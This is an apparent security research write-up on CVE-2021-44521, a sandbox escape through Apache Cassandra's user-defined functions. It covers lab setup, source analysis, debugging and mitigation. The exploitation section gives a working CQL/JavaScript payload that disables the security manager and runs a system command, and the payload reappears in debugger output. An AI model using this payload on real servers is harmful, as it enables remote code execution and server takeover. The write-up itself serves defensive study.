CVE-2021-44521: Apache Cassandra Remote Code Execution
Introduction
CVE-2021-44521
is a vulnerability discovered in Apache Cassandra which allow an attacker to achieve remote command execution through UDFS
& bypass the sandbox to execute the code on the server under specific configurations which let the attacker to takeover the server.
CVSS:(Critical) https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2021-44521&vector=AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H&version=3.1&source=NIST
What is Apache Cassandra ?
Apache Cassandra is an open-source distributed NoSQL database management system, Cassandra is highly scalable and can handle large amounts of structured, semi-structured, and unstructured data across multiple data centers, making it a popular choice for big data applications. It uses a decentralized architecture, with no master node, which allows for linear scalability and fault tolerance. Also, It’s highly tunable and configurable, allowing developers to adjust the system to their specific use case and workload.
CQL
CQL
is a short for Cassandra Query Language, Which is a query language similar to SQL
, but optimized for distributed database environments with support for secondary indexes, materialized views, and batch operations, among other features.
UDFs
UDFs
is a short for User-Defined Functions which are functions that can be created and executed by users within a database management system. In our case, Cassandra offers the functionality of creating user-defined-functions (UDFs
) & the UDFs
in Cassandra can be written by default in Java
and JavaScript
.
Nashorn
Nashorn
is a JavaScript
engine that was introduced in Java 8
and it allows users to execute JavaScript
code within a sanbox & It can be used to create and execute JavaScript
based UDFs
in Java
based database management systems by executing it inside of a sandbox.
Testing Lab
Now, Let’s setup our testing lab for analysis & We gonna be using Cassandra 4.0.0
, But we need to do some modification for the configuration file within the container and create a new image from it then start a container based on our modified one. First we will pull the Cassandra image:
docker pull cassandra:4.0.0
Now let’s run cassandra
container:
sudo docker run --name my-cassandra-analysis -d cassandra:4.0.0
Let’s check if the container is running:
sudo docker ps -a
We can see the container is running, Now, Let’s open a shell to it and start our modifications:
sudo docker exec -it CONTAINER_ID bash
Now, Under /opt/cassandar
we can find the cassandra.yaml
:
Let’s open cassandra.yaml
and modifiy & add the following lines:
enable_user_defined_functions: true
enable_scripted_user_defined_functions: true
enable_user_defined_functions_threads: false
After this save the file and exit the shell. And the time for creating image from our container is came:
sudo docker commit my-cassandra-4.0.0 cassandra-analysis:latest
Now, Everything is ready let’s stop the continer and run a new one using our modified image:
sudo docker run --name my-cassandra-analysis -e "JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n" -p 8000:8000 -d cassandra-analysis:latest
The -e JAVA_TOOL_OPTIONS="-agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n"
is to set a debugging port, So we can perform our dynamic analysis later and the -p 8000:8000
to map the external connections of port 8000
into the container. Now, If we execute shell on the container & try to see the configuration file of cassandra.yaml
we can see our modified configurations applied:
Static Analysis
If we go again to cassandra.yaml
file we can be able to see that the anonymous access is allowed as authenticator
config is set as the following:
authenticator: AllowAllAuthenticator
And if we go to the cassandra source code we can find a call called AllowAllAuthenticator
under the following path /src/java/org/apache/cassandra/auth
, Let’s take a look and check it out:
public class AllowAllAuthenticator implements IAuthenticator
{
private static final SaslNegotiator AUTHENTICATOR_INSTANCE = new Negotiator();
public boolean requireAuthentication()
{
return false;
}
public Set<IResource> protectedResources()
{
return Collections.emptySet();
}
public void validateConfiguration() throws ConfigurationException
{
}
public void setup()
{
}
public SaslNegotiator newSaslNegotiator(InetAddress clientAddress)
{
return AUTHENTICATOR_INSTANCE;
}
public AuthenticatedUser legacyAuthenticate(Map<String, String> credentialsData)
{
return AuthenticatedUser.ANONYMOUS_USER;
}
private static class Negotiator implements SaslNegotiator
{
public byte[] evaluateResponse(byte[] clientResponse) throws AuthenticationException
{
return null;
}
public boolean isComplete()
{
return true;
}
public AuthenticatedUser getAuthenticatedUser() throws AuthenticationException
{
return AuthenticatedUser.ANONYMOUS_USER;
}
}
}
The class implements the IAuthenticator
interface which is responsible for authenticating clients connecting to cassandra
, the class providing a simple authentication mechanism that allows all connections without need for any credentials, In short words, Anonymous
authentication.Let’s see the intreasted functions as steps happen as the following The requireAuthentication()
function indicates whether authentication is required or no. In this case, it returns false which means authentication is not required. Then protectedResources()
method returns a set of protected resources & since there is no authentication it returns an empty set. After that legacyAuthenticate()
function is used for legacy authentication and It accepts credentials data and returns an AuthenticatedUser
instance. In this case, it always returns the ANONYMOUS_USER
from the AuthenticatedUser
class. Now, If we try to access cassandra
we will be able to see that we logged-in without any asking for credentials:
Here we can see we are on cassandra
without any asking for credentials. Now, Back to our configurationsm Let’s explain each option in the configurations we apply to understand it more clearly.
enable_user_defined_functions & enable_scripted_user_defined_functions
The enable_user_defined_functions
& enable_scripted_user_defined_functions
options are for enabling the support of UDFs
in both Java
and Javascript
. Now, If we go to src/java/org/apache/cassandra/cql3/functions/UDFunction.java
and take a look on the UDFs
get implementaion. The UDFunction
class provides methods for validating the UDFs
configuration and parameters and ensure that the function definition is correct and compatible with the expected data types.
Here first we can see that UDFunction
class is declared as abstract and extends the AbstractFunction
class & implements the ScalarFunction
and SchemaElement
interfaces. Them, defines a variable called logger
from LoggerFactory
to log messages, After that a threadMXBean
variable that provides access to the thread management and monitoring MXBean
. Finally, Declaring the follwoing variables:
-
argNames
: A list of ColumnIdentifier objects representing the names of the function arguments. -
language
andbody
: Strings representing the language and body of the user-defined function. -
argCodecs
: An array ofTypeCodec
Object representing the argument codecs for the function. -
returnCodec
: ATypeCodec
Object representing the return codec for the function. -
calledOnNullInput
: A boolean indicating whether the function is called on null input. -
udfContext
: A variable of typeUDFContext
which provides context information for theUDF
.
By scrolling more down we can find here a variable named allowedPatterns
which is an array used for controlling access to classes and resources during compilation and runtime by compering to these patterns that specify the allowed classes/resources that can be loaded by the class loader. Moving to the following lines:
Here we can see a variable named disallowedPatterns
which is an array used for the opposite process of allowedPatterns
, Which here the disallowedPatterns
used for controlling access to classes and resources during compilation and runtime by compering to these patterns that specify the disallowed classes/resources that can’t be loaded by the class loader.
In the next lines we can see the following clearly, This is a static function named secureResource
& basically, it’s used to determine whether a given resource is considered secure based on the allowed and disallowed patterns specified in the allowedPatterns
and disallowedPatterns
arrays. First, the function takes a parameter named resource
and as we can guess it will be the required resources to be loaded, After that defines a While
loop to remove forward slashes /
from the resource string by repeatedly calling substring(1)
until the forward slashes are eliminated, Then a for-each
loop happens to iterate through the allowedPatterns
array to check if the resource
starts with any of the allowed patterns and If the resource starts with an allowed pattern it will proceed to check if it is explicitly disallowed by iterating through disallowedPatterns
array to make sure there is no manipulation in the resource
is being used for a bypass. Finally, If the the resource
patterns is disallowed it will return false
with a massage indicating access denial for the resource, If not, then it will return true
indicating that the resource
is considered secure.
In the above lines in the screenshot, It’s creating a new ClassLoader
Object named udfClassLoader
and initializes it with a new instance of the UDFClassLoader
class, After that it invokes a constructor named UDFunction
which create and initialize a UDF
, The function takes the following parameters:
-
name
: AFunctionName
object representing the name of theUDF
. -
argNames
: A list ofColumnIdentifier
objects representing the names of the function arguments. -
argTypes
: A list ofAbstractType
objects representing the types of the function arguments. -
returnType
: AnAbstractType
object representing the return type of the function. -
alledOnNullInput
: A boolean indicating whether the function is called on null input. -
language
: A string representing the language of theUDF
, Wethier isJava
orJavaScritp
. -
body
: A string representing the body of theUDF
.
Then, it passes the provided parameters to the other constructor and the UDHelper.driverType
method is called with the returnType
parameter to convert the return type into the corresponding driver type using another helper method.
In the next lines, Here we can see it invokes a second constructor with the same parameters. After that it invokes the constructor of the superclass AbstractFunction
with name
, argTypes
, and returnType
parameters, Then performs an assertion check to ensure that the argNames
list does not contain any duplicate entries. After That, assigning the variables to instance variables of the class. Finally, It retrieves the metadata for the keyspace specified in the name parameter using the getKeyspaceMetadata
method of the Schema.instance
object and creates a new instance of the UDFContextImpl
class & pass the argNames
, argCodecs
, returnCodec
, and keyspaceMetadata
parameters and The results object is assigned to the udfContext
instance variable.
Now, We arrived to the funny part in the code where it try to create the UDF
. The tryCreate
method will take the parameters we mentioned before and try to to create the UDF
by passing it to create()
function. If we scroll down to take a look at the function we can see it as the following:
The function has a switch
statment to check the language of the UDF
, If it’s Java
, Then it will create the UDF
using the JavaBasedUDFunction()
function which can be found as src/java/org/apache/cassandra/cql3/functions/JavaBasedUDFunction.java
class which represent the UDF
implemention in Java
,If not then it will create it using ScriptBasedUDFunction()
function which can be found as src/java/org/apache/cassandra/cql3/functions/ScriptBasedUDFunction.java
class which represent the UDF
implemention in scripting languages as JavaScript
. If we go to the ScriptBasedUDFunction.java
class we will be able to see the Nashron
sandbox implemention, Let’s discover the class to make everything more clear.
The class starts with the declaration of two variables protectionDomain
and accessControlContext
, ProtectionDomain
holds information about the protection domain of the class and AccessControlContext
represents the access control context for the class.
Here it defines the allowedPackagesArray
variable which is an array of strings representing the allowed packages for the Nashorn
script engine. These allowed packages determine which packages and classes are accessible within the sandboxed environment for executing the UDFs
and this inclusion of specific packages ensures that necessary classes and functionalities required by the scripts and the environment are accessible while maintaining security and preventing unauthorized access to sensitive classes or resources.
When we scroll down we can notice The UDFExecutorService
which is a custom executor service used for executing the UDFs
and It takes parameters such as a named thread factory, a class loader udfClassLoader
, a security thread group & a thread initialization function UDFunction::initializeThread
. After that out of the executor we can notice the NashornScriptEngine
declering and ClassFilter
which is an interface used by the Nashorn
script engine.
As we move to the next lines we can see a static block where the nashorn
get initialized. First, It creates an instance of ScriptEngineManager
and named as scriptEngineManager
. Then, It retrieves Nashorn
script engine into engine
variable which is a ScriptEngine
object. After that it checks if the engine
variable is not null
, If it’s not null
it casts the factory of the script engine to NashornScriptEngineFactory
, if it’s null
it assigns null
to the factory
variable. Followed by checking if the factory is not null
. If it’s not null
it will create a new Nashorn
script engine using the factory getScriptEngine
method and pass empty string array, udfClassLoader
as the class loader & the classFilter
as the class filter which defined in the above lines wie discuss before. The AccessControlContext
encapsulates the context in which a set of permissions is checked for access control decisions.
Here a constructor initializes a ScriptBasedUDFunction
instance by compiling the script, performing necessary checks & security measures and setting up the execution context. First it checks if the language specified is JavaScript
and if the scriptEngine
is not null
, If the language is invalid or the scriptEngine
is null
it throws an InvalidRequestException
with an appropriate error message. Then, it attempts to compile the body of the script using the scriptEngine
and compilation is executed with no permissions to prevent potentially malicious code from running, such as code in static code blocks
or during class initialization & it’s done by using AccessController.doPrivileged()
with a PrivilegedExceptionAction
that compiles the script. Finally, accessControlContext
is used as the access control context for this privileged action If an exception occurs during the compilation process an InvalidRequestException
is thrown with a formatted error message. After that an instance of UDFContextWrapper
is created and assigned to the udfContextBinding
variable and it serves as a binding for the script execution context.
In this code section it first returns the executor
instance which is an ExecutorService
used for executing tasks asynchronously in the codebase. Then, we have executeUserDefined()
function prepares the parameters & execute the UDF
script and converts the result into a ByteBuffer
to be returned.
Then executeAggregateUserDefined()
function prepares the parameters & call the executeScriptInternal()
method with the prepared parametersand return the result of executing the UDF
aggregate function.
enable_user_defined_functions_threads
The enable_user_defined_functions_threads
is a configuration option and when it’s enabled, UDF
execution is offloaded to a dedicated thread pool which allowing UDFs
to be executed concurrently with other queries. And the main problem is here cause when this option is disabled the UDF
runs in the daemon thread, As a results we has permissions to call setSecurityManager
which allow us to disable the security manager in cassandra, As a results we will be able to bypass the class filtering and we will be able to include critical or blacklisted calsses to execute codes on the system as when we running the JS
code in Nashron
we can access Nashorn
instance engine, through the access we have to the engine property. We can find the implementation of SecurityManager
at the following class src/java/org/apache/cassandra/security/ThreadAwareSecurityManager.java
the class is providing a mechanism for controlling and enforcing security permissions in Cassandra
which allowing fine-grained access control for different operations and resources.
Exploitation
It’s the time to see how we can exploit the vulnerability before do our dynamic analysis on it. So, we be able to understand what we are debugging or analysis dynamically.
CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3};
use test;
CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records';
create or replace function test.exec(name text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE javascript AS $$
var System = Java.type("java.lang.System");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("touch /tmp/Pwn3d.txt")');name $$;
insert into tab(cmd) values('test');
select exec(cmd) from tab;
This UDF
will run in a daemon thread as the enable_user_defined_functions_threads
option is disabled, As a results we can have permissions to control setSecurityManager
and we can see in the UDF
we set it to null so we can bypass the class filteration & with the access to engine property we create a new engine instance and call eval()
function from JS
& finally, Our JAVA
code in it to execute a command using Runtime
from Java
. In our case, The code will create a file named Pwn3d.txt
under the /tmp
directory on the server as a PoC
. Let’s Run the UDF
and check it out:
Dynamic Analysis
Now, We under stand how is the Nashorn
is implemented, How the UDFs
get executed the security manager & the class filtering mechanism. It’s time to see the UDFs
run in action and in the default settings while we debug it & see the difference dynamically when the security manager is on & When it’s off. We already configured the debugger before when we were setting up our testing lab. Note: For debugging people may face problems when debugging on docker, So we gonna build cassandra
easily and debug it locally from the kali
machine. First download Cassandra-4.0.0
from here. Now, extract it and install apache ant
:
sudo apt install ant
Now, let’s build Cassandra
by using ant
command:
After building is done, Let’s enable debugging by exporting the following variable in our environmenrt:
export JVM_EXTRA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1414"
Before we run the app let’s edit the options in cassandra.yaml
file under the conf
directory & add the following options:
Now, Run Cassandra
using ./bin/cassandra
:
The app is running, go to Run
Tab and then click on Edit Configurations
:
Then Click on the +
add sign and choose Remote JVM Debug
:
And Name it as you want & configure the remote debugger, By adding the machine IP
, Debugging port which is 1414
:
Finally, Let’s Set the breakpoint on the private static final UDFExecutorService executor
inside of src/java/org/apache/cassandra/security/ThreadAwareSecurityManager.java
class.
Now, Let’s click on the debugging button
Next, execute our UDF
again:
As you can see because we set the enable_user_defined_functions_threads
otpion to true
, The UDF
not running in a daemon thread. Therefor, We don’t have the permissions to control setSecurityManager
. So, We got this execption massege.
When we go to our debugger here clearly we have the members of ScriptBasedUDFunction
which are:
protectionDomain = null
accessControlContext = null
allowedPackagesArray = {String[34]@7856} ["", "com", "edu", "java", "javax", +29 more]
executor = null
classFilter = null
scriptEngine = null
logger = {Logger@7857} "Logger[org.apache.cassandra.cql3.functions.UDFunction]"
threadMXBean = {ThreadImpl@7858}
allowedPatterns = {String[21]@7859} ["com/google/comm...", "java/io/IOExcep...", "java/io/Seriali...", "java/lang/", "java/math/", +16 more]
disallowedPatterns = {String[34]@7860} ["com/datastax/dr...", "com/datastax/dr...", "com/datastax/dr...", "com/datastax/dr...", "com/datastax/dr...", +29 more]
udfClassLoader = {UDFunction$UDFClassLoader@7861}
$assertionsDisabled = false
NAME_COMPARATOR = {SchemaElement$lambda@7862}
Here we can see it executed the ScriptBasedUDFunction()
function under UDFunction
class implementation as the language is JavaScript
& We can see that the body is carrying our function:
body= var System = Java.type("java.lang.System");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("touch /tmp/Pwn3d.txt")');name
After that it starts to create our UDF
using create
method. And it’s passing the needed parameters as the following:
this = {CreateFunctionStatement@7887} "CreateFunctionStatement (test, exec)"
functionName = "exec"
argumentNames = {ArrayList@7880} size = 1
rawArgumentTypes = {ArrayList@7937} size = 1
rawReturnType = {CQL3Type$Raw$RawType@7938} "text"
calledOnNullInput = false
language = "javascript"
body = "\nvar System = Java.type("java.lang.System");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("touch /tmp/Pwn3d.txt")');name "
orReplace = true
ifNotExists = false
keyspaceName = "test"
schema = {Keyspaces@7888} "[KeyspaceMetadata{name=system_schema, kind=REGULAR, params=KeyspaceParams{durable_writes=true, replication=ReplicationParams{class=org.apache.cassandra.locator.LocalStrategy}}, tables=[system_schema.keyspaces, system_schema.tables, system_schema.columns, system_schema.triggers, system_schema.dropped_columns, system_schema.views, system_schema.types, system_schema.functions, system_schema.aggregates, system_schema.indexes], views=[], functions=[], types=[]}, KeyspaceMetadata{name=system, kind=REGULAR, params=KeyspaceParams{durable_writes=true, replication=ReplicationParams{class=org.apache.cassandra.locator.LocalStrategy}}, tables=[system."IndexInfo", system.batches, system.paxos, system.local, system.peers_v2, system.peers, system.peer_events_v2, system.peer_events, system.compaction_history, system.sstable_activity, system.size_estimates, system.table_estimates, system.available_ranges_v2, system.available_ranges, system.transferred_ranges_v2, system.transferred_ranges, system.view_bu"
keyspaces = {RegularImmutableMap@7940} size = 6
tables = {RegularImmutableMap@7941} size = 41
keyspace = {KeyspaceMetadata@7889} "KeyspaceMetadata{name=test, kind=REGULAR, params=KeyspaceParams{durable_writes=true, replication=ReplicationParams{class=org.apache.cassandra.locator.SimpleStrategy, replication_factor=3}}, tables=[test.tab], views=[], functions=[], types=[]}"
name = "test"
kind = {KeyspaceMetadata$Kind@7943} "REGULAR"
params = {KeyspaceParams@7944} "KeyspaceParams{durable_writes=true, replication=ReplicationParams{class=org.apache.cassandra.locator.SimpleStrategy, replication_factor=3}}"
tables = {Tables@7945} "[test.tab]"
views = {Views@7946} "[]"
types = {Types@7947} "[]"
functions = {Functions@7948} "[]"
argumentTypes = {ArrayList@7881} size = 1
0 = {UTF8Type@7882} "org.apache.cassandra.db.marshal.UTF8Type"
returnType = {UTF8Type@7882} "org.apache.cassandra.db.marshal.UTF8Type"
reverseComparator = {AbstractType$lambda@7922}
comparisonType = {AbstractType$ComparisonType@7923} "BYTE_ORDER"
isByteOrderComparable = true
comparatorSet = {ValueComparators@7924}
argumentNames = {ArrayList@7880} size = 1
0 = {ColumnIdentifier@7919} "name"
functionName = "exec"
value = {char[4]@7935} [e, x, e, c]
hash = 0
Moving forward it will go to the src/java/org/apache/cassandra/security/ThreadAwareSecurityManager.java
class to start performing the security checks using isSecuredThread()
that checks if the current thread is a secured thread. Now, Let’s disable the enable_user_defined_functions_threads
and see how the function will get executed while we debugging:
Then restart Cassandra
and start to debug, When we start to debug it will do the same previous, But when we arrive here:
it’s checking if the current thread is running in a secured thread group SecurityThreadGroup
and returns true
if the thread has been previously initialized as secured or false
if it’s not running in a secured thread group or has not been initialized yet. But, In our case it will return false
.
Here when it’s come to check if the thread results is true
, Then it will throw execption tells us that access denied. But, This time will not as the the UDF
running as a daemon thread and we set the securityManager
to null. As a results it will execute our UDF
successfully.
Mitigation
The vulnerability is only avlilable under the configurations we configure Cassandra
on, To mitigate this CVE
we have to set enable_user_defined_functions_threads
option to true to prevent the UDF
from running as a daemon thread & If you not using UDFs
you better disable it. You can use this remedy script on Vsociety
from here to help you with that.
Mitigation Video: https://ibb.co/GpQzPTd
Conclusion
In a short way, We analyzed the vulnerability& the root-cause, The UDFs
, Nashron
, SecurityManager
& more. We saw how UDFs
created and executed & How under a certien configurations the Cassandra
can be vulnerable for the CVE
. Finally, How it could be used to bypass all the security implementations and achieve remote code execution on the target host.
Resources
-
https://github.com/apache/cassandra/releases/tag/cassandra-4.0.0
-
https://cassandra.apache.org/doc/latest/cassandra/troubleshooting/use_tools.html
-
https://murukeshm.github.io/cassandra/3.11.3/development/ide.html
-
https://ant.apache.org/manual/install.html